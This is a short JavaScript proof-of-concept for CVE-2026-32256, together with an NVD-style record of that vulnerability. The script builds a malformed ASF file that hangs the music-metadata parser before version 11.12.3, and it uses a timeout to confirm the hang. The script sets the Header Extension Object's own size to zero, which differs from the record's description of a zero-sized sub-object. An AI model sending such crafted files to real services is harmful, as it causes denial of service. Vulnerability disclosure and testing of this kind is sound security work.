CVE-2026-32256

// PoC for CVE-2026-32256: music-metadata ASF parser infinite loop // This PoC creates a malicious ASF file with objectSize = 0 to trigger infinite loop const fs = require('fs'); const { parseFile } = require('music-metadata'); // ASF File Header Object GUID const ASF_FILE_HEADER_OBJECT = Buffer.from([ 0x30, 0x26, 0xB2, 0x75, 0x8E, 0x66, 0xCF, 0x11, 0xA6, 0xD9, 0x00, 0xAA, 0x00, 0x62, 0xCE, 0x6C ]); // ASF Header Extension Object GUID const ASF_HEADER_EXTENSION_OBJECT = Buffer.from([ 0x5B, 0xFB, 0xB7, 0xD7, 0x4F, 0x7C, 0xCF, 0x11, 0xA8, 0xFD, 0x00, 0x80, 0x5F, 0x5C, 0x44, 0x2B ]); // Create malicious ASF file with objectSize = 0 function createMaliciousAsfFile(filename) { const buffer = Buffer.alloc(1024); let offset = 0; // Write ASF Header Object ASF_FILE_HEADER_OBJECT.copy(buffer, offset); offset += 16; // Object size (placeholder, will be updated) buffer.writeBigInt64LE(1024n, offset); offset += 8; // Write ASF Header Extension Object ASF_HEADER_EXTENSION_OBJECT.copy(buffer, offset); offset += 16; // Object size = 0 (this triggers the infinite loop) buffer.writeBigInt64LE(0n, offset); offset += 8; // Fill remaining with zeros buffer.fill(0, offset); // Update file header object size buffer.writeBigInt64LE(BigInt(offset), 16); fs.writeFileSync(filename, buffer.slice(0, offset)); console.log(`Malicious ASF file created: ${filename}`); } // Main execution const maliciousFile = 'poc_cve_2026_32256.asf'; createMaliciousAsfFile(maliciousFile); // Attempt to parse (will cause infinite loop in vulnerable versions) console.log('Attempting to parse malicious file...'); console.log('If the process hangs, the vulnerability is present.'); // Set timeout to prevent indefinite hanging setTimeout(() => { console.log('Parsing took too long - vulnerability confirmed!'); process.exit(1); }, 5000); parseFile(maliciousFile) .then(() => console.log('Parsing completed')) .catch(err => console.error('Error:', err));

{"cve": {"id": "CVE-2026-32256", "sourceIdentifier": "[email protected]", "published": "2026-03-18T04:17:25.523", "lastModified": "2026-03-19T18:07:39.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "music-metadata is a metadata parser for audio and video media files. Prior to version 11.12.3, music-metadata's ASF parser (`parseExtensionObject()` in `lib/asf/AsfParser.ts:112-158`) enters an infinite loop when a sub-object inside the ASF Header Extension Object has `objectSize = 0`. Version 11.12.3 fixes the issue."}, {"lang": "es", "value": "music-metadata es un analizador de metadatos para archivos multimedia de audio y video. Antes de la versión 11.12.3, el analizador ASF de music-metadata ('parseExtensionObject()' en 'lib/asf/AsfParser.ts:112-158') entra en un bucle infinito cuando un subobjeto dentro del Objeto de Extensión de Encabezado ASF tiene 'objectSize = 0'. La versión 11.12.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:borewit:music-metadata:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.12.3", "matchCriteriaId": "842171D7-AE26-4B75-B41F-772131AA49C8"}]}]}], "references": [{"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.12.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-v6c2-xwv6-8xf7", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}